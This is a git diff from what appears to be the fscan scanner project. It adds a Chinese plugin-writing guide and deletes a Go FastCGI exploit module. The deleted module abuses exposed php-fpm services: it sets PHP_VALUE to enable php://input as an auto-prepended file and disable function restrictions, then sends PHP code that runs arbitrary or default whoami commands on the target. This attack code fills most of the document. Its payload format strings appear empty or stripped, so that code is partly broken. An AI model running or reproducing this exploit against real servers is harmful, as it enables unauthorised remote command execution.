diff --git a/Docs/插件编写指南.md b/Docs/插件编写指南.md new file mode 100644 index 0000000..b9d8094 --- /dev/null +++ b/Docs/插件编写指南.md @@ -0,0 +1,88 @@ +# FScan 插件开发指南 + +## 1. 创建插件 +在 `Plugins` 目录下创建你的插件文件,例如 `myPlugin.go`: + +```go +package Plugins + +import ( + "github.com/shadow1ng/fscan/Common" +) + +func MyPluginScan(info *Common.HostInfo) error { + // 1. 基础检查 + if info == nil { + return errors.New("Invalid host info") + } + + // 2. 实现扫描逻辑 + result, err := doScan(info) + if err != nil { + return err + } + + // 3. 处理结果 + if result.Vulnerable { + Common.LogSuccess(fmt.Sprintf("[+] Found vulnerability in %s:%d", info.Host, info.Port)) + } + + return nil +} +``` + +## 2. 注册插件 +在 `Core/Registry.go` 中注册你的插件: + +```go +Common.RegisterPlugin("myplugin", Common.ScanPlugin{ + Name: "MyPlugin", + Port: 12345, // 指定端口,如果是web类插件可设为0 + ScanFunc: Plugins.MyPluginScan, +}) +``` + +## 3. 开发规范 + +### 插件结构 +- 每个插件应当是独立的功能模块 +- 使用清晰的函数名和变量名 +- 添加必要的注释说明功能和实现逻辑 + +### 错误处理 +```go +// 推荐的错误处理方式 +if err != nil { + return fmt.Errorf("plugin_name scan error: %v", err) +} +``` + +### 日志输出 +```go +// 使用内置的日志函数 +Common.LogSuccess("发现漏洞") +Common.LogError("扫描错误") +``` + +## 4. 测试验证 + +- 编译整个项目确保无错误 +- 实际环境测试插件功能 +- 验证与其他插件的兼容性 + +## 5. 提交流程 + +1. Fork 项目仓库 +2. 创建功能分支 +3. 提交代码更改 +4. 编写清晰的提交信息 +5. 创建 Pull Request + +## 注意事项 + +- 遵循 Go 编码规范 +- 保证代码可读性和可维护性 +- 禁止提交恶意代码 +- 做好异常处理和超时控制 +- 避免过度消耗系统资源 +- 注意信息安全,不要泄露敏感数据 diff --git a/Plugins/fcgiscan.go b/Plugins/fcgiscan.go deleted file mode 100644 index 90165f1..0000000 --- a/Plugins/fcgiscan.go +++ /dev/null @@ -1,377 +0,0 @@ -package Plugins - -import ( - "bufio" - "bytes" - "encoding/binary" - "errors" - "fmt" - "github.com/shadow1ng/fscan/Common" - "io" - "strconv" - "strings" - "sync" - "time" -) - -//links -//https://xz.aliyun.com/t/9544 -//https://github.com/wofeiwo/webcgi-exploits - -// FcgiScan 执行FastCGI服务器漏洞扫描 -func FcgiScan(info *Common.HostInfo) error { - // 如果设置了暴力破解模式则跳过 - if Common.IsBrute { - return nil - } - fmt.Println("[+] Fcgi扫描模块开始...") - - // 设置目标URL路径 - url := "/etc/issue" - if Common.Path != "" { - url = Common.Path - } - addr := fmt.Sprintf("%v:%v", info.Host, info.Ports) - - // 构造PHP命令注入代码 - var reqParams string - var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记 - - switch { - case Common.Command == "read": - reqParams = "" // 读取模式 - case Common.Command != "": - reqParams = fmt.Sprintf("", Common.Command, cutLine) // 自定义命令 - default: - reqParams = fmt.Sprintf("", cutLine) // 默认执行whoami - } - - // 设置FastCGI环境变量 - env := map[string]string{ - "SCRIPT_FILENAME": url, - "DOCUMENT_ROOT": "/", - "SERVER_SOFTWARE": "go / fcgiclient ", - "REMOTE_ADDR": "127.0.0.1", - "SERVER_PROTOCOL": "HTTP/1.1", - } - - // 根据请求类型设置对应的环境变量 - if len(reqParams) != 0 { - env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams)) - env["REQUEST_METHOD"] = "POST" - env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input" - } else { - env["REQUEST_METHOD"] = "GET" - } - - // 建立FastCGI连接 - fcgi, err := New(addr, Common.Timeout) - defer func() { - if fcgi.rwc != nil { - fcgi.rwc.Close() - } - }() - if err != nil { - fmt.Printf("[!] FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err) - return err - } - - // 发送FastCGI请求 - stdout, stderr, err := fcgi.Request(env, reqParams) - if err != nil { - fmt.Printf("[!] FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err) - return err - } - - // 处理响应结果 - output := string(stdout) - var result string - - if strings.Contains(output, cutLine) { - // 命令执行成功,提取输出结果 - output = strings.SplitN(output, cutLine, 2)[0] - if len(stderr) > 0 { - result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", - info.Host, info.Ports, output, string(stderr)) - } else { - result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v", - info.Host, info.Ports, output) - } - Common.LogSuccess(result) - } else if strings.Contains(output, "File not found") || - strings.Contains(output, "Content-type") || - strings.Contains(output, "Status") { - // 目标存在FastCGI服务但可能路径错误 - if len(stderr) > 0 { - result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", - info.Host, info.Ports, output, string(stderr)) - } else { - result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v", - info.Host, info.Ports, output) - } - Common.LogSuccess(result) - } - - fmt.Println("[+] Fcgi扫描模块结束...") - return nil -} - -// for padding so we don't have to allocate all the time -// not synchronized because we don't care what the contents are -var pad [maxPad]byte - -const ( - FCGI_BEGIN_REQUEST uint8 = iota + 1 - FCGI_ABORT_REQUEST - FCGI_END_REQUEST - FCGI_PARAMS - FCGI_STDIN - FCGI_STDOUT - FCGI_STDERR -) - -const ( - FCGI_RESPONDER uint8 = iota + 1 -) - -const ( - maxWrite = 6553500 // maximum record body - maxPad = 255 -) - -type header struct { - Version uint8 - Type uint8 - Id uint16 - ContentLength uint16 - PaddingLength uint8 - Reserved uint8 -} - -func (h *header) init(recType uint8, reqId uint16, contentLength int) { - h.Version = 1 - h.Type = recType - h.Id = reqId - h.ContentLength = uint16(contentLength) - h.PaddingLength = uint8(-contentLength & 7) -} - -type record struct { - h header - buf [maxWrite + maxPad]byte -} - -func (rec *record) read(r io.Reader) (err error) { - if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil { - return err - } - if rec.h.Version != 1 { - return errors.New("fcgi: invalid header version") - } - n := int(rec.h.ContentLength) + int(rec.h.PaddingLength) - if _, err = io.ReadFull(r, rec.buf[:n]); err != nil { - return err - } - return nil -} - -func (r *record) content() []byte { - return r.buf[:r.h.ContentLength] -} - -type FCGIClient struct { - mutex sync.Mutex - rwc io.ReadWriteCloser - h header - buf bytes.Buffer - keepAlive bool -} - -func New(addr string, timeout int64) (fcgi *FCGIClient, err error) { - conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second) - fcgi = &FCGIClient{ - rwc: conn, - keepAlive: false, - } - return -} - -func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) { - c.mutex.Lock() - defer c.mutex.Unlock() - c.buf.Reset() - c.h.init(recType, reqId, len(content)) - if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil { - return err - } - if _, err := c.buf.Write(content); err != nil { - return err - } - if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil { - return err - } - _, err = c.rwc.Write(c.buf.Bytes()) - return err -} - -func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error { - b := [8]byte{byte(role >> 8), byte(role), flags} - return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:]) -} - -func (c *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error { - b := make([]byte, 8) - binary.BigEndian.PutUint32(b, uint32(appStatus)) - b[4] = protocolStatus - return c.writeRecord(FCGI_END_REQUEST, reqId, b) -} - -func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error { - w := newWriter(c, recType, reqId) - b := make([]byte, 8) - for k, v := range pairs { - n := encodeSize(b, uint32(len(k))) - n += encodeSize(b[n:], uint32(len(v))) - if _, err := w.Write(b[:n]); err != nil { - return err - } - if _, err := w.WriteString(k); err != nil { - return err - } - if _, err := w.WriteString(v); err != nil { - return err - } - } - w.Close() - return nil -} - -func readSize(s []byte) (uint32, int) { - if len(s) == 0 { - return 0, 0 - } - size, n := uint32(s[0]), 1 - if size&(1<<7) != 0 { - if len(s) < 4 { - return 0, 0 - } - n = 4 - size = binary.BigEndian.Uint32(s) - size &^= 1 << 31 - } - return size, n -} - -func readString(s []byte, size uint32) string { - if size > uint32(len(s)) { - return "" - } - return string(s[:size]) -} - -func encodeSize(b []byte, size uint32) int { - if size > 127 { - size |= 1 << 31 - binary.BigEndian.PutUint32(b, size) - return 4 - } - b[0] = byte(size) - return 1 -} - -// bufWriter encapsulates bufio.Writer but also closes the underlying stream when -// Closed. -type bufWriter struct { - closer io.Closer - *bufio.Writer -} - -func (w *bufWriter) Close() error { - if err := w.Writer.Flush(); err != nil { - w.closer.Close() - return err - } - return w.closer.Close() -} - -func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter { - s := &streamWriter{c: c, recType: recType, reqId: reqId} - w := bufio.NewWriterSize(s, maxWrite) - return &bufWriter{s, w} -} - -// streamWriter abstracts out the separation of a stream into discrete records. -// It only writes maxWrite bytes at a time. -type streamWriter struct { - c *FCGIClient - recType uint8 - reqId uint16 -} - -func (w *streamWriter) Write(p []byte) (int, error) { - nn := 0 - for len(p) > 0 { - n := len(p) - if n > maxWrite { - n = maxWrite - } - if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil { - return nn, err - } - nn += n - p = p[n:] - } - return nn, nil -} - -func (w *streamWriter) Close() error { - // send empty record to close the stream - return w.c.writeRecord(w.recType, w.reqId, nil) -} - -func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) { - - var reqId uint16 = 1 - defer c.rwc.Close() - - err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0) - if err != nil { - return - } - err = c.writePairs(FCGI_PARAMS, reqId, env) - if err != nil { - return - } - if len(reqStr) > 0 { - err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr)) - if err != nil { - return - } - } - - rec := &record{} - var err1 error - - // recive untill EOF or FCGI_END_REQUEST - for { - err1 = rec.read(c.rwc) - if err1 != nil { - if err1 != io.EOF { - err = err1 - } - break - } - switch { - case rec.h.Type == FCGI_STDOUT: - retout = append(retout, rec.content()...) - case rec.h.Type == FCGI_STDERR: - reterr = append(reterr, rec.content()...) - case rec.h.Type == FCGI_END_REQUEST: - fallthrough - default: - break - } - } - - return -}